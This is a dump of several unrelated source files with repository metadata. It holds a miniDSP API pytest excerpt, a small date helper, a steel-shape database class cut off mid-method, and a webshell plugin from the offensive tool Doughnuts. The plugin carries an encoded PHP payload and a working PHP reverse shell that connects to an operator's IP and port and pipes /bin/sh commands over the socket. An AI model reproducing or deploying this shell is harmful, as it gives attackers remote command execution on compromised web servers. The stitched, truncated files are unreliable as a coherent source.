-0.9979239929622952 input 1 peq 2 bypass off input 1 peq 3 set -- 1.0003468763586854 -1.9979191385126602 0.9975784764805841 1.9979204983896346 -0.9979239929622952 input 1 peq 3 bypass off input 1 peq 4 set -- 1.0003468763586854 -1.9979191385126602 0.9975784764805841 1.9979204983896346 -0.9979239929622952 input 1 peq 4 bypass off input 1 peq 5 bypass on input 1 peq 6 bypass on input 1 peq 7 bypass on input 1 peq 8 bypass on input 1 peq 9 bypass on gain -- -10.20""" assert '\n'.join(cmds) == expected_commands # and: device state is accurate slots = verify_master_device_state(r.json, gain=-10.2) for idx, s in enumerate(slots): if idx == 1: verify_slot(s, idx + 1, gain=(5.10, 6.10)) elif idx == 2: verify_slot(s, idx + 1, active=True, gain=(-1.1, -1.1), last='Alien Resurrection') else: verify_slot(s, idx + 1) def test_reload_from_cache(minidsp_client, tmp_path): from ezbeq.minidsp import MinidspState expected = MinidspState('master') expected.update_master_state(True, -5.4) slot = expected.get_slot('2') slot.mute(None) slot.gain1 = 4.8 slot.active = True slot.last = 'Testing' with open(os.path.join(tmp_path, 'master.json'), 'w') as f: json.dump(expected.serialise(), f, sort_keys=True) r = minidsp_client.get("/api/1/devices") assert r.status_code == 200 # master state is not restored slots = verify_master_device_state(r.json) for idx, s in enumerate(slots): if idx == 1: verify_slot(s, idx + 1, active=True, gain=(4.8, 0.0), mute=(True, True), last='Testing') else: verify_slot(s, idx + 1) @pytest.mark.parametrize("outputs", [[], [1], [2], [3], [4], [1, 2], [1, 3], [1, 4], [2, 3], [2, 4], [3, 4], [1, 2, 3], [1, 2, 4], [1, 3, 4], [2, 3, 4], [1, 2, 3, 4]], ids=str) @pytest.mark.parametrize("inputs", [[], [1], [2], [1, 2]], ids=str) @pytest.mark.parametrize("slot,is_valid", [(0, False), (1, True), (2, True), (3, True), (4, True), (5, False)]) def test_load_custom_biquads(minidsp_client, minidsp_app, slot, is_valid, inputs, outputs): config: MinidspSpyConfig = minidsp_app.config['APP_CONFIG'] assert isinstance(config, MinidspSpyConfig) # when: load biquads biquads = """ biquad1, b0=1.0002465879245352, b1=-1.9989127232747768, b2=0.9986691478494831, a1=1.9989135168404932, a2=-0.998914942208302, biquad2, b0=1.0002465879245352, b1=-1.9989127232747768, b2=0.9986691478494831, a1=1.9989135168404932, a2=-0.998914942208302, biquad3, b0=1.0002465879245352, b1=-1.9989127232747768, b2=0.9986691478494831, a1=1.9989135168404932, a2=-0.998914942208302, biquad4, b0=1.0002465879245352, b1=-1.9989127232747768, b2=0.9986691478494831, a1=1.9989135168404932, a2=-0.998914942208302, biquad5, b0=1.0002465879245352, b1=-1.9989127232747768, b2=0.9986691478494831, a1=1.9989135168404932, a2=-0.998914942208302, biquad6, b0=1.0005426820797225, b1=-1.9979198828450513, b2=0.9973892456913641, a1=1.9979233065003874, a2=-0.9979285041157505, biquad7, b0=1.0005426820797225, b1=-1.9979198828450513, b2=0.9973892456913641, a1=1.9979233065003874, a2=-0.9979285041157505, biquad8, b0=1.0008712609026622, b1=-1.996065923472451, b2=0.9952168257035099, a1=1.996065923472451, a2=-0.9960880866061722, biquad9, b0=1.0, b1=0.0, b2=0.0, a1=-0.0, a2=-0.0, biquad10, b0=1.0, b1=0.0, b2=0.0, a1=-0.0, a2=-0.0""" payload = { 'overwrite': False, 'inputs': inputs, 'outputs': outputs, 'slot': str(slot), 'biquads': biquads } r = minidsp_client.put(f"/api/1/devices/master/biquads", data=json.dumps(payload), content_type='application/json') if is_valid: assert r.status_code == 200 single_channel_cmds = [ 'peq 0 set -- 1.0002465879245352 -1.9989127232747768 0.9986691478494831 1.9989135168404932 -0.998914942208302', 'peq 0 bypass off', 'peq 1 set -- 1.0002465879245352 -1.9989127232747768 0.9986691478494831 1.9989135168404932 -0.998914942208302', 'peq 1 bypass off', 'peq 2 set -- 1.0002465879245352 -1.9989127232747768 0.9986691478494831 1.9989135168404932 -0.998914942208302', 'peq 2 bypass off', 'peq 3 set -- 1.0002465879245352 -1.9989127232747768 0.9986691478494831 1.9989135168404932 -0.998914942208302', 'peq 3 bypass off', 'peq 4 set -- 1.0002465879245352 -1.9989127232747768 0.9986691478494831 1.9989135168404932 -0.998914942208302', 'peq 4 bypass off', 'peq 5 set -- 1.0005426820797225 -1.9979198828450513 0.9973892456913641 1.9979233065003874 -0.9979285041157505', 'peq 5 bypass off', 'peq 6 set -- 1.0005426820797225 -1.9979198828450513 0.9973892456913641 1.9979233065003874 -0.9979285041157505', 'peq 6 bypass off', 'peq 7 set -- 1.0008712609026622 -1.996065923472451 0.9952168257035099 1.996065923472451 -0.9960880866061722', 'peq 7 bypass off', 'peq 8 set -- 1.0 0.0 0.0 -0.0 -0.0', 'peq 8 bypass off', 'peq 9 set -- 1.0 0.0 0.0 -0.0 -0.0', 'peq 9 bypass off' ] def expand(prefix, channels): return [f"{prefix} {c - 1} {l}" for c in channels for l in single_channel_cmds] expected_commands = [] if inputs: expected_commands += expand('input', inputs) if outputs: expected_commands += expand('output', outputs) total_channel_count = len(inputs) + len(outputs) # then: expected commands are sent cmds = verify_cmd_count(config.spy, slot, 20 * total_channel_count) assert cmds == expected_commands # and: device state is accurate slots = verify_master_device_state(r.json) for idx, s in enumerate(slots): if idx == slot - 1: if inputs: verify_slot(s, idx + 1, active=True, last='CUSTOM') else: verify_slot(s, idx + 1, active=True) else: verify_slot(s, idx + 1) else: assert r.status_code == 400 def test_load_single_biquad(minidsp_client, minidsp_app): config: MinidspSpyConfig = minidsp_app.config['APP_CONFIG'] assert isinstance(config, MinidspSpyConfig) # when: load biquads biquads = """ biquad1, b0=1.0002465879245352, b1=-1.9989127232747768, b2=0.9986691478494831, a1=1.9989135168404932, a2=-0.998914942208302, """ payload = { 'overwrite': True, 'inputs': [], 'outputs': [1], 'slot': '1', 'biquads': biquads } r = minidsp_client.put(f"/api/1/devices/master/biquads", data=json.dumps(payload), content_type='application/json') assert r.status_code == 200 single_channel_cmds = [ 'peq 0 set -- 1.0002465879245352 -1.9989127232747768 0.9986691478494831 1.9989135168404932 -0.998914942208302', 'peq 0 bypass off', 'peq 1 bypass on', 'peq 2 bypass on', 'peq 3 bypass on', 'peq 4 bypass on', 'peq 5 bypass on', 'peq 6 bypass on', 'peq 7 bypass on', 'peq 8 bypass on', 'peq 9 bypass on' ] expected_commands = [f"output 0 {l}" for l in single_channel_cmds] # then: expected commands are sent cmds = verify_cmd_count(config.spy, 1, 11) assert cmds == expected_commands # and: device state is accurate slots = verify_master_device_state(r.json) for idx, s in enumerate(slots): if idx == 0: verify_slot(s, idx + 1, active=True) else: verify_slot(s, idx + 1) @pytest.mark.parametrize('endpoint', ['details', 'filters']) def test_get_by_digest(minidsp_client, minidsp_app, endpoint): r = minidsp_client.get(f"/api/1/catalogue/abcdefghijklm/{endpoint}") assert r.status_code == 200 entry = r.json assert entry assert entry['digest'] == 'abcdefghijklm' assert entry['title'] == 'Alien Resurrection' @pytest.mark.parametrize('endpoint', ['details', 'filters']) def test_get_by_digest_404(minidsp_client, minidsp_app, endpoint): r = minidsp_client.get(f"/api/1/catalogue/abcdefghijkl/{endpoint}") assert r.status_code == 404

37.399229

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0.670022

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3bf39288de2f8e4562707e4b1af892a8cdcae5eb

73

py

Python

api/utils.py

mateusvictor/School-API

eff0ff3ee8d07fc89e8688615ec685e3dbfc0478

[ "MIT" ]

null

api/utils.py

mateusvictor/School-API

eff0ff3ee8d07fc89e8688615ec685e3dbfc0478

[ "MIT" ]

null

api/utils.py

mateusvictor/School-API

eff0ff3ee8d07fc89e8688615ec685e3dbfc0478

[ "MIT" ]

null

import datetime def current_year(): return datetime.date.today().year

12.166667

34

0.767123

10

73

5.5

0.8

0

0.123288

73

5

35

14.6

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0

1

0.333333

true

0

0.333333

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1

0

null

0

1

0

null

0

1

0

1

0

7

020181c4bcbb8c70ac7a7b5056b0d9747fc3da2f

9,376

py

Python

doughnuts/libs/functions/webshell_plugins/reverse.py

MorouU/Doughnuts

ca4777551b27e6dbe9015827ecf091b1dafcd064

[ "MIT" ]

5

2020-10-09T05:01:34.000Z

2020-11-15T08:38:06.000Z

doughnuts/libs/functions/webshell_plugins/reverse.py

SkyBlueEternal/Doughnuts

8d82cffd3e4867f5e87ce35bdcf53678049c579c

[ "MIT" ]

1

2020-11-10T03:44:57.000Z

doughnuts/libs/functions/webshell_plugins/reverse.py

SkyBlueEternal/Doughnuts

8d82cffd3e4867f5e87ce35bdcf53678049c579c

[ "MIT" ]

null

def get_php_reverse_php(): return { "windows":""" header('Content-type: text/plain'); $payload = "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$evalCode = gzinflate(base64_decode($payload)); file_put_contents("%s", $evalCode); %s""", "else": """ ignore_user_abort(true); ini_set("max_execution_time",0); $ipaddr = "%s"; $port = "%s"; if(!function_exists('get_ini_value')) { %s } $descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w")); $cwd = getcwd(); $msg = php_uname()."\\nTemporary shall\\n"; $type = True; if(!in_array('proc_open', @explode(',', get_ini_value('disable_functions')))){ $sock = fsockopen($ipaddr, $port); $descriptorspec = array( 0 => $sock, 1 => $sock, 2 => $sock ); $process = proc_open('/bin/sh', $descriptorspec, $pipes); proc_close($process); die(); } else{ $env = array("path" => "/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin"); } if(function_exists("fsockopen")) { $sock = fsockopen($ipaddr,$port); } else { $sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP); socket_connect($sock,$ipaddr,$port); socket_write($sock,$msg); $type = False; } fwrite($sock,$msg); fwrite($sock,"[".getcwd()."]$ "); while (True) { if ($type == True){ $cmd = fread($sock,1024); } else { $cmd = socket_read($sock,1024); } if (substr($cmd,0,3) == "cd " and strlen($cmd) > 3) { $cwd = trim(substr($cmd,3)); chdir($cwd); $cwd = getcwd(); } else if (trim(strtolower($cmd)) == "exit") { break; } else { $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env); if (is_resource($process)) { fwrite($pipes[0],$cmd); fclose($pipes[0]); $msg = stream_get_contents($pipes[1]); if ($type == True){ fwrite($sock,$msg); } else { socket_write($sock,$msg,strlen($msg)); } fclose($pipes[1]); $msg = stream_get_contents($pipes[2]); if ($type == True){ fwrite($sock,$msg); } else { socket_write($sock,$msg,strlen($msg)); } fclose($pipes[2]); proc_close($process); } } fwrite($sock,"[".getcwd()."]$ "); } if ($type == True){ fclose($sock); } else {socket_close($sock); }"""}

104.177778

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0.007721

0.025736

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0.13048

0.172782

9,376

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105.348315

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0.991573

0.735147

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null

1

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1

0

7

022c20765654256eae561754e8e9df3ea95e189d

33,841

py

Python

steel/aisc_database_class.py

buddyd16/theToolbox

b04ca462595af1e90b7c2d1d35527aaf19664b0d

[ "BSD-3-Clause" ]

1

2022-02-21T16:06:22.000Z

steel/aisc_database_class.py

buddyd16/theToolbox

b04ca462595af1e90b7c2d1d35527aaf19664b0d

[ "BSD-3-Clause" ]

2

2022-02-10T03:38:50.000Z

2022-03-02T14:52:43.000Z

steel/aisc_database_class.py

buddyd16/theToolbox

b04ca462595af1e90b7c2d1d35527aaf19664b0d

[ "BSD-3-Clause" ]

null

''' BSD 3-Clause License Copyright (c) 2019-2022, Donald N. Bockoven III All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ''' class aisc_15th_database: def __init__(self): ## BUILD SHAPE DICTIONARY AND ATTRIBUTE LISTS ## NOTE THE STANDARD DATABADE PROVIDED BY AISC NEEDS TO BE CLEANED UP ## ALL - FIELDS NEED TO BE REPLACED BY 0's file = open('steel/static/aisc_shapes_database_v15.0.csv','r') data_raw = file.readlines() file.close() file = open('steel/static/aisc_v15_units.csv','r') units_raw = file.readlines() file.close() file = open('steel/static/aisc_v15_defs.csv','r') defs_raw = file.readlines() file.close() self.units = units_raw[0].split(',') self.units[-1] = self.units[-1].rstrip('\n') self.definitions = [] self.defs_only = [''] for prop_def in defs_raw: prop_def = prop_def.split(',') prop_def[-1] = prop_def[-1].rstrip('\n') self.definitions.append(prop_def) self.defs_only.append(prop_def[1]) self.labels = data_raw[0].split(',') self.labels[-1] = self.labels[-1].rstrip('\n') self.shapes = [] self.shape_types = [] for shape in data_raw[1:]: shape = shape.split(',') shape[-1] = shape[-1].rstrip('\n') if shape[0] == 'HSS': if float(shape[10]) > 0: shape[0] = 'HSS-RND' elif shape[8] == shape[13]: shape[0] = 'HSS-SQR' else: shape[0] = 'HSS-RECT' else: pass self.shapes.append(shape) self.shape_types.append(shape[0]) self.shape_types = list(set(self.shape_types)) def WF(self, filter=[], filter2=[]): shape_selection_list = [] filtered_shape_list = [] dictionary = [] if filter != []: try: filterpropindex = self.labels[0:83].index(filter[0]) filter_start = filter[1] filter_end = filter[2] except ValueError: filter = [] if filter2 != []: try: filterpropindex2 = self.labels[0:83].index(filter2[0]) filter_start2 = filter2[1] filter_end2 = filter2[2] except ValueError: filter2 = [] for shape in self.shapes: if shape[0] == 'W': if filter == []: shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) elif (float(shape[filterpropindex]) >= filter_start and float(shape[filterpropindex]) <= filter_end): if filter2 == []: shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) elif (float(shape[filterpropindex2]) >= filter_start2 and float(shape[filterpropindex2]) <= filter_end2): shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) else: pass else: pass else: pass return shape_selection_list,filtered_shape_list,dictionary def PIPE(self, filter=[], filter2=[]): shape_selection_list = [] filtered_shape_list = [] dictionary = [] if filter != []: try: filterpropindex = self.labels[0:83].index(filter[0]) filter_start = filter[1] filter_end = filter[2] except ValueError: filter = [] if filter2 != []: try: filterpropindex2 = self.labels[0:83].index(filter2[0]) filter_start2 = filter2[1] filter_end2 = filter2[2] except ValueError: filter2 = [] for shape in self.shapes: if shape[0] == 'PIPE': if filter == []: shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) elif (float(shape[filterpropindex]) >= filter_start and float(shape[filterpropindex]) <= filter_end): if filter2 == []: shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) elif (float(shape[filterpropindex2]) >= filter_start2 and float(shape[filterpropindex2]) <= filter_end2): shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) else: pass else: pass else: pass return shape_selection_list,filtered_shape_list,dictionary def C(self, filter=[], filter2=[]): shape_selection_list = [] filtered_shape_list = [] dictionary = [] if filter != []: try: filterpropindex = self.labels[0:83].index(filter[0]) filter_start = filter[1] filter_end = filter[2] except ValueError: filter = [] if filter2 != []: try: filterpropindex2 = self.labels[0:83].index(filter2[0]) filter_start2 = filter2[1] filter_end2 = filter2[2] except ValueError: filter2 = [] for shape in self.shapes: if shape[0] == 'C': if filter == []: shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) elif (float(shape[filterpropindex]) >= filter_start and float(shape[filterpropindex]) <= filter_end): if filter2 == []: shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) elif (float(shape[filterpropindex2]) >= filter_start2 and float(shape[filterpropindex2]) <= filter_end2): shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) else: pass else: pass else: pass return shape_selection_list,filtered_shape_list,dictionary def HSS_RND(self, filter=[], filter2=[]): shape_selection_list = [] filtered_shape_list = [] dictionary = [] if filter != []: try: filterpropindex = self.labels[0:83].index(filter[0]) filter_start = filter[1] filter_end = filter[2] except ValueError: filter = [] if filter2 != []: try: filterpropindex2 = self.labels[0:83].index(filter2[0]) filter_start2 = filter2[1] filter_end2 = filter2[2] except ValueError: filter2 = [] for shape in self.shapes: if shape[0] == 'HSS-RND': if filter == []: shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) elif (float(shape[filterpropindex]) >= filter_start and float(shape[filterpropindex]) <= filter_end): if filter2 == []: shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) elif (float(shape[filterpropindex2]) >= filter_start2 and float(shape[filterpropindex2]) <= filter_end2): shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) else: pass else: pass else: pass return shape_selection_list,filtered_shape_list,dictionary def MC(self, filter=[], filter2=[]): shape_selection_list = [] filtered_shape_list = [] dictionary = [] if filter != []: try: filterpropindex = self.labels[0:83].index(filter[0]) filter_start = filter[1] filter_end = filter[2] except ValueError: filter = [] if filter2 != []: try: filterpropindex2 = self.labels[0:83].index(filter2[0]) filter_start2 = filter2[1] filter_end2 = filter2[2] except ValueError: filter2 = [] for shape in self.shapes: if shape[0] == 'MC': if filter == []: shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) elif (float(shape[filterpropindex]) >= filter_start and float(shape[filterpropindex]) <= filter_end): if filter2 == []: shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) elif (float(shape[filterpropindex2]) >= filter_start2 and float(shape[filterpropindex2]) <= filter_end2): shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) else: pass else: pass else: pass return shape_selection_list,filtered_shape_list,dictionary def HSS_RECT(self, filter=[], filter2=[]): shape_selection_list = [] filtered_shape_list = [] dictionary = [] if filter != []: try: filterpropindex = self.labels[0:83].index(filter[0]) filter_start = filter[1] filter_end = filter[2] except ValueError: filter = [] if filter2 != []: try: filterpropindex2 = self.labels[0:83].index(filter2[0]) filter_start2 = filter2[1] filter_end2 = filter2[2] except ValueError: filter2 = [] for shape in self.shapes: if shape[0] == 'HSS-RECT': if filter == []: shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) elif (float(shape[filterpropindex]) >= filter_start and float(shape[filterpropindex]) <= filter_end): if filter2 == []: shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) 